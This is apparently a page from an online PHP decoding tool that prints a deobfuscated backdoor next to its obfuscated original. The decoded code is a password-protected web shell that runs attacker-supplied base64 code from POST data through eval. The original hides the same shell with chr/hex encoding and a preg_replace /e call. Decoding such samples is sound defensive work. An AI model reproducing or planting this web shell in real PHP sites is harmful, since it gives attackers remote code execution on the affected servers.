Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "HjAego1eMIk783Jtvy0VhXSn6p0ble6I")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php




                                                                                     $eaw3="p".chr(114)."\x65".chr(103)."\x5F".chr(114)."e\x70\x6c".chr(97)."c".chr(101);$ggoMTB="e".chr(118).chr(97)."l".chr(40)."\x62\x61".chr(115)."\x656\x34_d".chr(101)."\x63\x6f\x64\x65".chr(40)."\x22".chr(81)."\x47\x56\x79\x63\x6d\x39".chr(121).chr(88)."\x33".chr(74).chr(108)."c\x47\x39\x79d".chr(71).chr(108)."\x75".chr(90)."\x79g\x77K\x54".chr(115)."\x4bQ\x47l\x75\x61\x56".chr(57).chr(122)."Z\x58".chr(81)."\x6f\x49\x6d".chr(82)."\x70\x63\x33\x42\x73Y".chr(88)."l\x66".chr(90)."\x58".chr(74)."\x79".chr(98)."\x33\x4A\x7A".chr(73)."\x69\x77".chr(119)."\x4B".chr(84)."s\x4B".chr(81)."\x47l".chr(117)."a\x569\x7A".chr(90).chr(88)."Q\x6fI\x6D".chr(120)."v\x5A\x31".chr(57).chr(108)."c".chr(110)."J".chr(118)."c\x6EMi\x4cD".chr(65).chr(112)."\x4F\x77".chr(112).chr(65)."\x61".chr(87)."5\x70X3".chr(78)."\x6C".chr(100)."\x43".chr(103)."\x69Z".chr(88)."\x4a\x79".chr(98)."3".chr(74)."fbG9".chr(110)."I\x69".chr(119).chr(119)."\x4b".chr(84)."\x73\x4b".chr(67).chr(109)."\x6c\x6dI\x43\x68p\x63\x33".chr(78)."\x6c\x64Cg\x6B".chr(88)."\x31\x42P".chr(85)."\x31\x51\x70I\x43Y".chr(109)."I\x47l".chr(122)."\x582F".chr(121)."\x63\x6DF\x35K".chr(67)."R\x66U".chr(69)."\x39\x54VC".chr(107).chr(103)."J\x69\x59\x67Y2\x39".chr(49)."\x62".chr(110)."Q\x6F".chr(74)."F\x39".chr(81)."\x54\x31\x4eUKT\x34xK".chr(81)."\x70".chr(55)."\x43g\x6Cm\x62\x33\x4a\x6C".chr(89)."\x57No\x49".chr(67).chr(103)."\x6b\x58".chr(49)."\x42".chr(80).chr(85)."\x31\x51\x67YX".chr(77)."\x67J".chr(72)."Zh".chr(99)."ik".chr(75)."\x43".chr(88).chr(115)."\x4B".chr(67).chr(81)."lp\x5a\x69\x41\x6F\x49".chr(87).chr(108)."\x7Ac\x32\x560\x4BCR\x6A\x62\x32RlKS".chr(107)."g".chr(74)."\x47".chr(78)."\x76\x5aGUg".chr(80).chr(83).chr(65)."kd".chr(109).chr(70)."y\x4F\x77oJCWVs".chr(99).chr(50)."V\x70\x5a\x69".chr(65).chr(111).chr(73)."Wl\x7A".chr(99).chr(50)."\x56".chr(48).chr(75)."C\x52\x77\x59".chr(88).chr(78)."\x7a".chr(75)."S\x6bg\x4A\x48".chr(66)."hc".chr(51)."\x4D".chr(103)."\x50S\x41".chr(107)."\x64\x6d\x46".chr(121)."\x4f".chr(119)."\x6F".chr(74)."CWV\x73".chr(99)."2UgY\x6E".chr(74)."l\x59W\x73\x37\x43g".chr(108)."9".chr(67)."g\x6F\x4a\x61".chr(87)."\x59gK\x43R\x77\x59\x58N\x7a".chr(73)."\x44\x30\x39I\x43\x4AI".chr(97)."\x6b".chr(70)."lZ\x32".chr(56).chr(120)."ZU".chr(49).chr(74)."a\x7Ac4M0p0\x64".chr(110).chr(107).chr(119)."\x56".chr(109)."h".chr(89)."U\x32\x34".chr(50)."cDB".chr(105)."b".chr(71)."\x552\x53S\x49p".chr(67).chr(103).chr(108)."7".chr(67).chr(103)."k".chr(74)."Z\x58Z\x68b\x43".chr(104).chr(105)."\x59X\x4E\x6c\x4e\x6aRf\x5a".chr(71)."V".chr(106).chr(98)."2".chr(82)."lK\x43R".chr(106)."\x62".chr(50).chr(82).chr(108).chr(75)."Sk".chr(55).chr(67)."\x67\x6C".chr(57)."\x43".chr(110).chr(48).chr(75).chr(90)."XhpdDs\x3d\x22\x29);";$m2Mc="/\x36\x6144".chr(102)."5be".chr(49)."\x39\x32d4\x65\x39\x349\x39b".chr(49).chr(97)."\x30\x39\x61d9".chr(52)."0\x32".chr(48)."ed".chr(47).chr(101);$eaw3($m2Mc,$ggoMTB,"6".chr(97)."\x34".chr(52).chr(102)."\x35".chr(98).chr(101).chr(49)."\x392".chr(100)."\x34".chr(101).chr(57).chr(52)."9".chr(57)."\x62\x31a".chr(48)."\x39\x61".chr(100)."\x394".chr(48).chr(50)."0\x65\x64");


?>

Function Calls

chr 183
preg_replace 1
base64_decode 1

Variables

$eaw3 preg_replace
$m2Mc /6a44f5be192d4e9499b1a09ad94020ed/e
$ggoMTB eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..

Stats

MD5 95cf871ba1cc2a40eeda07b8355f72f1
Eval Count 2
Decode Time 256 ms